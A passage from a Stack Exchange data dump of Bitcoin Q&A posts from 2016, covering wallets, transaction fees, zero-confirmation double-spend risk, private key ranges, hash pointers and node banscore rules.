  <row Id="44183" PostTypeId="1" AcceptedAnswerId="45675" CreationDate="2016-05-18T14:21:51.963" Score="6" ViewCount="157" Body="&lt;p&gt;I know that there are several brands of hardware wallets with open source firmware that are considered safe. Is it better to just one that is safe and you are most familiar with? Or would hedging by storing coins in multiple wallets make sense just in case some exploit is found in the future?&lt;/p&gt;&#xA;" OwnerUserId="35760" LastActivityDate="2016-06-05T19:18:14.780" Title="Is it safer to use one type of hardware wallet of several?" Tags="|coldstorage|hardware-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44184" PostTypeId="2" ParentId="44175" CreationDate="2016-05-18T14:26:50.037" Score="3" Body="&lt;p&gt;Miners can decide which forks to mine, but they still have electricity bills to pay.  The suppliers of that electricity only accept fiat (for now), so that means miners rely on exchanges in order to stay in business.  If a miner's exchange doesn't acknowledge the fork they are mining, then they can't use their revenue to pay their expenses, and will go out of business.  Exchanges, however, don't have the final say either.  They make their money from the fees paid by the users of the exchange, so they make their money by volume.  If they have to choose between forks, they will choose the one with the most customer demand.  That demand, in turn, is determined by merchants who accept bitcoin.  They, like the exchanges, will choose forks based on customer demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, customers have quite a say in the matter, even if indirectly.  Bitcoin is an ecosystem, and there is no single decision maker within an ecosystem.  If the electric company starts accepting bitcoin directly, the exchanges will be less relevant...unless the electric company needs to pay for coal in fiat.  Things can and will change, but ultimately, it's the market as a whole that decides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole thing reminds me of &lt;a href=&quot;http://goodriddlesnow.com/posts/view/riddle-from-game-of-thrones&quot; rel=&quot;nofollow&quot;&gt;a riddle&lt;/a&gt; from &lt;a href=&quot;https://en.wikipedia.org/wiki/A_Clash_of_Kings&quot; rel=&quot;nofollow&quot;&gt;A Clash of Kings&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-18T14:26:50.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44186" PostTypeId="1" AcceptedAnswerId="44187" CreationDate="2016-05-18T15:25:43.497" Score="3" ViewCount="248" Body="&lt;p&gt;Can anyone explain what the phrase below, from the Satoshi Nakamoto white paper, means?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Introduction&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The cost of mediation increases transaction costs, &lt;strong&gt;&lt;code&gt;limiting the minimum practical transaction size&lt;/code&gt;&lt;/strong&gt; and cutting off the possibility for small casual transactions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Can anyone tell me what the writer tried to say?&lt;/p&gt;&#xA;" OwnerUserId="35784" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-05-24T13:24:53.417" Title="Can anyone delineate a phrase in the Satosh's white paper?: limiting the minimum practical transaction size" Tags="|satoshi-nakamoto|whitepaper|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44187" PostTypeId="2" ParentId="44186" CreationDate="2016-05-18T16:05:01.177" Score="2" Body="&lt;p&gt;What Satoshi is referring to is the traditional financial system's inability to transfer small amounts of money.  Traditional money transfer systems such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Automated_Clearing_House&quot; rel=&quot;nofollow&quot;&gt;ACH&lt;/a&gt; and various wire transfer services are reversible for a certain period of time, meaning that there is some risk involved.  The risk that the bank will have to mediate a reversal in payment (which costs them money) makes it so that they need to charge fees in order to transfer money on your behalf.  If the fee is not worth the risk, the bank won't do the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take the example of paying a friend $5 for picking up the tab at lunch.  You tell your bank to transfer $5 to his bank over the ACH system.  This system takes 3-5 days to complete the transfer.  During that time period, a reversal is possible, and if it occurs, the bank needs to use its resources to mediate it.  This might include retrying the transaction, contacting the other bank, or contacting the customer in the case that the $5 has already been withdrawn.  These actions all cost the bank money.  If the probability that a reversal will occur, &lt;code&gt;P&lt;/code&gt;, multiplied by the expected cost to the bank for dealing with the reversal, &lt;code&gt;C&lt;/code&gt;, is greater than the fee the bank will earn, &lt;code&gt;F&lt;/code&gt;, then the bank shouldn't allow the transaction.  So we have a system where the following must be true:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;F &amp;gt; C x P&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the bank charges a percentage as a fee, let's say an outrageous 10% of the transaction.  That means 'F' is $0.50.  In this scenario, it is unlikely that &lt;code&gt;C x P&lt;/code&gt; will be less than $0.50, so the bank can't do the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that the bank charges a flat rate for transfers, one that will cover any of the risk.  A value of $10 for a transfer of any amount would not be unreasonable from the bank's standpoint.  However, would you be willing to pay the bank $10 to transfer $5 to your friend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just one of the many problems that Satoshi solved with the invention of the Bitcoin blockchain.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-18T16:05:01.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44188" PostTypeId="2" ParentId="44186" CreationDate="2016-05-18T16:13:27.513" Score="0" Body="&lt;p&gt;If you accept credit cards on the internet, you'll run into a 'per transaction' fee, which is usually around 30 cents. (I'm generalizing here; some processors like Square charge a flat monthly fee but have volume limits instead.) That means that if you sell something for 50 cents, you'll only see 20 cents of that after the card processor takes its fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, even though there's no minimum amount that you can charge through the credit card system, there is a minimum amount that you can &lt;em&gt;profitably&lt;/em&gt; charge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do credit card companies charge these fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not because they're stupid. Customers want arbitration, and credit card companies can't really avoid mediating disputes or compensating customers who were ripped off. Every time a fraudster uses a card, it &lt;a href=&quot;https://www.reddit.com/r/startups/comments/3lehge/what_i_learned_about_chargebacks_after_getting/&quot; rel=&quot;nofollow&quot;&gt;costs money everywhere in the system&lt;/a&gt;. That costs a certain amount per transaction to fix.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-05-18T16:13:27.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44191" PostTypeId="1" AcceptedAnswerId="44335" CreationDate="2016-05-18T20:55:37.917" Score="3" ViewCount="323" Body="&lt;p&gt;At this point there are hundreds of Bitcoin wallets available &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on a wallet reveals some areas where wallets are compared: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Control&lt;/li&gt;&#xA;&lt;li&gt;Validation&lt;/li&gt;&#xA;&lt;li&gt;Transparency&lt;/li&gt;&#xA;&lt;li&gt;Secure Environment&lt;/li&gt;&#xA;&lt;li&gt;Privacy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some excluded wallets are superior in some of these categories than the wallets listed. Is there a formal review process or criteria for wallet inclusion that someone can reference for me?&lt;/p&gt;&#xA;" OwnerUserId="35795" LastEditorUserId="2306" LastEditDate="2016-05-18T21:32:18.680" LastActivityDate="2016-05-24T17:53:10.093" Title="What criteria does Bitcoin.org use to choose which wallets to list" Tags="|wallet|bitcoin.org|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44192" PostTypeId="2" ParentId="44125" CreationDate="2016-05-18T22:03:15.813" Score="0" Body="&lt;p&gt;You could store something in a DHT or IPFS, and write its address(a hash) in the blockchain for retrieval in the future. The downside of this is that the storage of the full data set is not handled by the blockchain, but the data that is served later can at least be checked via the hash.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2016-05-18T22:03:15.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44193" PostTypeId="2" ParentId="38414" CreationDate="2016-05-18T22:59:52.823" Score="0" Body="&lt;p&gt;You can try virwox.com but it will also depend on the country that you choose for sign up. I know that when you use Germany as the country for sign up, you can pay with AMEX but you will have to covert to SLL first before you can get the bitcoins. I hope this helps eventhough you asked this question long ago!!&lt;/p&gt;&#xA;" OwnerUserId="35797" LastActivityDate="2016-05-18T22:59:52.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44194" PostTypeId="1" AcceptedAnswerId="44195" CreationDate="2016-05-19T00:32:39.767" Score="1" ViewCount="740" Body="&lt;p&gt;I'm wondering if there's a way that I can calculate how long it will take for a transaction of &lt;code&gt;x&lt;/code&gt; BTC paid a &lt;code&gt;y&lt;/code&gt; fee to get &lt;code&gt;z&lt;/code&gt; confirmations based on current difficulty&lt;/p&gt;&#xA;" OwnerUserId="35800" LastActivityDate="2016-05-19T01:05:12.117" Title="Is there some sort of algorithm to calculate transaction speed?" Tags="|transaction-fees|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44195" PostTypeId="2" ParentId="44194" CreationDate="2016-05-19T01:05:12.117" Score="2" Body="&lt;p&gt;The creation of blocks is purely random but does trend towards 10 minutes per block. The lower z is the less accurately the predictions will be.  It is up to the miners to decide which transactions they include, different mining pool software can choose different transactions, thus there is no formula to determine the answer to this question.  It will always vary.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-05-19T01:05:12.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44196" PostTypeId="1" CreationDate="2016-05-19T01:16:43.453" Score="7" ViewCount="650" Body="&lt;p&gt;A spreadsheet with a base projection and the following editable variables (for a given block height) would be great:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;BTC transaction volume per block &lt;/li&gt;&#xA;&lt;li&gt;Number of transaction per block &lt;/li&gt;&#xA;&lt;li&gt;Average transaction fee&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please assume that most BTC transactions will remain on the main chain (and not on a lightning network or something similar).&lt;/p&gt;&#xA;" OwnerUserId="35802" LastActivityDate="2016-06-01T23:00:42.880" Title="Are there any projections about when transaction fees per block will equal block reward?" Tags="|transaction-fees|mining-reward|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44198" PostTypeId="1" CreationDate="2016-05-19T05:06:27.707" Score="5" ViewCount="947" Body="&lt;p&gt;What&amp;#39;s to prevent someone from using bitcoin at a store like subway and double spending to buy the sandwich before a confirmation is made? Since subway obviously isn&amp;#39;t going to wait for a confirmation, can&amp;#39;t a person send bitcoin to subway and at the same time send that bitcoin to another address?&lt;/p&gt;&#xA;" OwnerUserId="35803" LastEditorUserId="5406" LastEditDate="2016-08-02T05:59:40.447" LastActivityDate="2016-08-02T05:59:40.447" Title="Double Spending before confirmation" Tags="|transactions|blockchain|doublespend|zero-confirmation|face-to-face-payment|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ClosedDate="2016-06-05T14:39:33.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="44199" PostTypeId="2" ParentId="44198" CreationDate="2016-05-19T05:13:11.110" Score="0" Body="&lt;p&gt;RBF exploits are possible for 0 confirmation transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risk/reward is tiny so some merchants will accept small transactions and make delivery without waiting for a confirmation first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;99.9% of the people who have both the competence and lack of morality to double spend in this manner would not waste their time on such a low value theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All merchants should wait for (at least) 1 confirmation of possible but the risk is too small for many people to care when selling sandwiches. Any merchant selling a yacht should be waiting for multiple confirmations anyway so the RBF exploit should not be relevant for high value transactions.&lt;/p&gt;&#xA;" OwnerUserId="35765" LastActivityDate="2016-05-19T05:13:11.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44200" PostTypeId="2" ParentId="44191" CreationDate="2016-05-19T12:02:30.737" Score="3" Body="&lt;p&gt;I don't know all the details, so if anyone has a better answer, please post it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several volunteers that spend a lot of time reviewing and comparing wallets. They have checklists of important points they look at and try to be as thorough and impartial as they possibly can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you say, there are now hundreds of wallets, each of which update at least every few months. So as you can imagine it's a lot of work no one is getting paid for. It's also pretty ungrateful work as accusations of unfair treatment of a specific wallet is easily made, while at the same time if they list a wallet that turns out to be even more insecure than they reviewed it, or turns out to be malware and people lose money, then people will also be quick to blame them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info for example has been notorious for bugs in their wallets that have cost loss of bitcoins in some occasions. They were delisted at some point, leading to a lot of controversy and accusations on the forums. I don't know if they are currently back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'm happy they err on the safe side, even though that can be a big nuisance for wallet developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume the short answer to your question is that the work simply hasn't been done yet: not all (latest versions) of all wallets have been tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always in open source: you're free to volunteer to help do the work.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-19T12:02:30.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44201" PostTypeId="1" AcceptedAnswerId="44204" CreationDate="2016-05-19T14:59:42.290" Score="2" ViewCount="758" Body="&lt;p&gt;[I read that there are private keys with lengths other than 256 bit. I only talk about 256 bit private keys here. Are other lengths even common and supported by popular wallets like Electrum?]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I generate a private key &lt;code&gt;privateKey0&lt;/code&gt; using a key generator. Then I choose some number &lt;code&gt;n&lt;/code&gt; ∈ [1, 10^10]. Given that &lt;code&gt;privateKey0&lt;/code&gt;+&lt;code&gt;n&lt;/code&gt; &amp;lt; 2^256, will &lt;code&gt;privateKey1&lt;/code&gt; := &lt;code&gt;privateKey0&lt;/code&gt;+&lt;code&gt;n&lt;/code&gt; be a good private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good private key of course needs to be &lt;strong&gt;valid&lt;/strong&gt; and &lt;strong&gt;as strong as one generated by a private key generator&lt;/strong&gt;. This does not take into account that one of them being made publicly available can lead to the other one being publicly available. &lt;strong&gt;However, using both productively must not weaken their secrecy for the second one to be considered a good private key.&lt;/strong&gt; So let's assume that their corresponding public keys and the addresses for these are generated and both of them receive some amount of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know anything about Bitcoin private keys (but am aware that an instance of the wallet import format is just the result of an easy-to-do operation on a big number as described &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8247/how-can-i-convert-a-sha256-hash-into-a-bitcoin-base58-private-key&quot;&gt;here&lt;/a&gt;). Do they have to have special mathematical properties or can I just choose any number ∈ [2^255, 2^256 - 1] and use it as a private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinspakistan.com/blog/electrum-seed-explained/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Some websites&lt;/a&gt; say that you can just use a random number. Are there any disadvantages to this compared to using a key generator?&lt;/p&gt;&#xA;" OwnerUserId="29893" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-05-20T00:29:57.180" Title="Does the private key have special mathematical properties?" Tags="|security|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44203" PostTypeId="1" CreationDate="2016-05-19T19:27:20.753" Score="2" ViewCount="654" Body="&lt;p&gt;I tried to send some bitcoins 2 days ago and they have sat there 0 confirmations - I guess because of 'dust' from faucets included in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I specified default transaction fee but obviously this wasn't enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long will it take for transaction to be removed and balance to return to my wallet? or is there a way I can force it to cancel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can work out how much transaction fee to use to let this through?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Transaction ID is 78e50449f91454fb33dfc0986b4e2efa909a4b19ba47569f22de11fad98eccad-000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LCS&lt;/p&gt;&#xA;" OwnerUserId="35815" LastActivityDate="2016-05-20T16:18:04.153" Title="Stuck transactions" Tags="|unconfirmed-transactions|sending|" AnswerCount="1" CommentCount="2" ClosedDate="2017-06-08T01:50:14.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="44204" PostTypeId="2" ParentId="44201" CreationDate="2016-05-20T00:29:57.180" Score="2" Body="&lt;p&gt;In Bitcoin, a private key is just a random number between 1 and 0xFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141. This number is derived from the order of the elliptic curve that Bitcoin uses, &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;secp256k1&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you don't have to have the most significant bit 2^255 set to be a valid Bitcoin private key, any number greater than or equal than 1 will work. Indeed, knowing that the most significant bit is set actually lessens the security of that private key, because it reveals some information about the key. You don't have to use some special key generator, in fact there are even tutorials on how to generate a private key with coin flips. The only requirement of a private key (other than being in the range outlined above), is that it be random (hard to guess). &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-05-20T00:29:57.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44205" PostTypeId="1" AcceptedAnswerId="44219" CreationDate="2016-05-20T09:26:51.867" Score="1" ViewCount="187" Body="&lt;p&gt;Is there any implementation of &lt;a href=&quot;https://github.com/Colored-Coins/Colored-Coins-Protocol-Specification&quot; rel=&quot;nofollow&quot;&gt;this Colored Coins Protocol&lt;/a&gt; in Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found colored coins implementations in Python but, as far I as understand, they implement different protocol specifications (for instance &lt;a href=&quot;https://github.com/chromaway/ngcccbase&quot; rel=&quot;nofollow&quot;&gt;Chromaway's ngcccbase&lt;/a&gt; or &lt;a href=&quot;https://github.com/OpenAssets/openassets&quot; rel=&quot;nofollow&quot;&gt;Open Assets&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2016-05-20T19:01:10.537" Title="Colored coins implementation in Python" Tags="|colored-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44207" PostTypeId="1" AcceptedAnswerId="44211" CreationDate="2016-05-20T11:07:57.913" Score="1" ViewCount="85" Body="&lt;p&gt;Let's say I transfer 0.05 BTC from 1 input to 1 output and don't pay a fee. If there are 6 blocks per hour, this means that my input has to be 369 hours (about 15 days) old so no fee is required. Let's also assume that the input only is 1 hour old. Does this mean that it will never be confirmed or does it mean that the money will arrive after a little more than 15 days?&lt;/p&gt;&#xA;" OwnerUserId="29893" LastActivityDate="2016-05-20T15:43:18.953" Title="Will Bitcoin remember unperformed transactions?" Tags="|transactions|transaction-fees|unconfirmed-transactions|transaction-verification|coin-age-priority|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44209" PostTypeId="1" CreationDate="2016-05-20T13:13:11.733" Score="3" ViewCount="55" Body="&lt;p&gt;When running &lt;code&gt;getpeerinfo&lt;/code&gt; I can see that a number of connected nodes return a &lt;code&gt;synced_blocks&lt;/code&gt; of &lt;strong&gt;-1&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these have been connected for days, so: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it correct to assume that these nodes are never attempting to propagate blocks around the network?&lt;/li&gt;&#xA;&lt;li&gt;If so, what's their purpose if they're not propagating block data around the network?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean here: &lt;a href=&quot;http://learnmeabitcoin.com/explorer/node/&quot; rel=&quot;nofollow&quot;&gt;http://learnmeabitcoin.com/explorer/node/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="5406" LastEditDate="2020-01-02T00:03:47.410" LastActivityDate="2020-01-02T00:03:47.410" Title="What kind of node connects to your full node and doesn't share blocks with you?" Tags="|network|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44211" PostTypeId="2" ParentId="44207" CreationDate="2016-05-20T15:43:18.953" Score="2" Body="&lt;p&gt;First of all: there's no guarantee that it will be free after 15 days. Some miners used to have a policy that made spending old coins potentially free. But miners can change those policies and will likely go for highest fee first, as that earns them the most money. If the network is busy that means there will be hardly any free transactions going in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: most nodes on the network keep transactions in the memory pool for a while. But again, the exactly policies can be different for every node. I think 3 days is a common setting. But when the network is busy, 0 fee transactions are more likely to be dropped from the mempool than paying transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third: once you've broadcast the transaction, theoretically anyone that ever saw that transaction could re-introduce it to the network at any time. Even weeks or months later. For example the receiver of such transaction might keep trying to get it through. So there's never really a guarantee to you that a transaction has &quot;timed out&quot;. The only way to be sure is to make a new transaction spending the same coin to another address (and then include a fee).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-20T15:43:18.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44212" PostTypeId="2" ParentId="44203" CreationDate="2016-05-20T16:18:04.153" Score="2" Body="&lt;p&gt;To check the recommended transaction fees for a specific time period you are willing to wait. You can refer to &lt;a href=&quot;https://live.blockcypher.com/btc/&quot; rel=&quot;nofollow&quot;&gt;BlockCypher&lt;/a&gt;. It will tell you the recommended fee to pay on a per kB basis for high priority process and etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets say, you really want to accelerate the whole process, what you could do is perform a Child pays for Parent transaction using the unconfirmed output of the transaction that is currently stuck and basically compensate for the fees you're missing out on the &quot;stuck&quot; transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by creating a raw transaction using Bitcoin Core or some wallet software, then broadcast this to a well-connected peer and theoretically it would then eventually be committed to the Blockchain by Miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it is right now, my full node mempool has approximately 4000+ Transactions, so it will be unlikely for your transaction to ever get committed to the Blockchain and eventually your stuck transaction will be removed from Mempools within the network. &lt;/p&gt;&#xA;" OwnerUserId="31586" LastActivityDate="2016-05-20T16:18:04.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44213" PostTypeId="1" AcceptedAnswerId="44216" CreationDate="2016-05-20T17:10:49.420" Score="9" ViewCount="11544" Body="&lt;p&gt;I am doing coursera online course on Bitcoin and Cryptocurrency Technologies. It defines the concept of hash pointer in the first lecture as &lt;code&gt;pointer to where some information is store and cryptographic hash of that information&lt;/code&gt;. I am confused on what is the difference between hash and hash pointer. I understand hashing of the information but how can a pointer store both the hash of the information and the address of where the information is? Please correct me if i am wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain the difference, how each is calculated and then give an example. &lt;/p&gt;&#xA;" OwnerUserId="32636" LastActivityDate="2017-09-29T19:10:01.967" Title="hash versus hash pointer" Tags="|blockchain|hash|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44214" PostTypeId="1" AcceptedAnswerId="44218" CreationDate="2016-05-20T17:30:37.117" Score="5" ViewCount="1515" Body="&lt;p&gt;What increases a node's banscore? What factors contribute to the banscore? Does a node sending bad transactions increase its banscore? Does its using unnecessarily too much bandwidth also increase its banscore?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-05-20T19:01:34.503" Title="What increases a node's banscore?" Tags="|banscore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44215" PostTypeId="2" ParentId="37291" CreationDate="2016-05-20T17:32:46.673" Score="0" Body="&lt;p&gt;Here is a script based on abe to print all public keys in the blockchain &lt;a href=&quot;https://github.com/shivaenigma/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/shivaenigma/bitcoin-abe&lt;/a&gt;. You can easily exclude the ones that have zero balance&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-05-20T17:32:46.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44216" PostTypeId="2" ParentId="44213" CreationDate="2016-05-20T18:17:07.893" Score="13" Body="&lt;p&gt;I believe that the use of the term &quot;pointer&quot; in the this sentence is not referring to the low-level data type, such as &lt;code&gt;int *pointer_to_int;&lt;/code&gt; would be in C.  I think it's more referring to a &quot;pointer&quot; as a key into a &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_table&quot; rel=&quot;noreferrer&quot;&gt;data structure&lt;/a&gt; or database table.  In this sense, the hash &lt;em&gt;is&lt;/em&gt; a pointer/key used to retrieve the information you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in Bitcoin, transaction hashes are used in this way.  The hash of a transaction can both be used to look up the transaction &lt;em&gt;and&lt;/em&gt; to verify that the transaction retrieved has not been tampered with since it was stored.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-20T18:17:07.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44217" PostTypeId="2" ParentId="44213" CreationDate="2016-05-20T18:18:21.310" Score="2" Body="&lt;p&gt;A hash is the output of a hash function, which is a one-way functions, where knowing the output doesn't help figure out what the input was. They can sometimes serve as short, unique, identifiers for the data that was passed into the function, in order to reference that data. &lt;strong&gt;Hash pointers are just hashes that are used to reference another piece of known information.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In bitcoin's case, one place where hash pointers are used is in the the 80 byte block header. The block header is hashed to produce a block ID. You can see this ID on any block explorer. See &lt;a href=&quot;https://blockchain.info/block/0000000000000000005f8a8de1f258c7014952ffbfb4ec09e419fc216133cd4b&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; for example. In the upper right side of that page there is also a link for the &quot;Previous Block&quot;, which is a hash, and it is a hash that points to the block that has that ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin also uses hashes to reference funds supplied in previous transactions. So, if you want to make a transaction giving some bitcoins to someone, you have to reference (with a hash pointer) the transaction where you were given some funds.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-05-20T18:26:28.557" LastActivityDate="2016-05-20T18:26:28.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44218" PostTypeId="2" ParentId="44214" CreationDate="2016-05-20T18:30:37.113" Score="12" Body="&lt;p&gt;There are many facts that can increase a node's banscore. A node's banscore is updated in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L1685&quot; rel=&quot;noreferrer&quot;&gt;Misbehaving&lt;/a&gt; function from &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp&quot; rel=&quot;noreferrer&quot;&gt;main.cpp&lt;/a&gt;. Some of the reasons that trigger such update are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L1721&quot; rel=&quot;noreferrer&quot;&gt;Sending invalid blocks&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L4570&quot; rel=&quot;noreferrer&quot;&gt;Sending duplicate version messages&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L4687&quot; rel=&quot;noreferrer&quot;&gt;Not sending first a version message&lt;/a&gt; (before other communication).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L4789&quot; rel=&quot;noreferrer&quot;&gt;Sending addr messages with more than 1000 addresses&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L4864&quot; rel=&quot;noreferrer&quot;&gt;Sending inv messages with more than 50000 elements&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L5115&quot; rel=&quot;noreferrer&quot;&gt;Sending header messages with more than 2000 elements&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 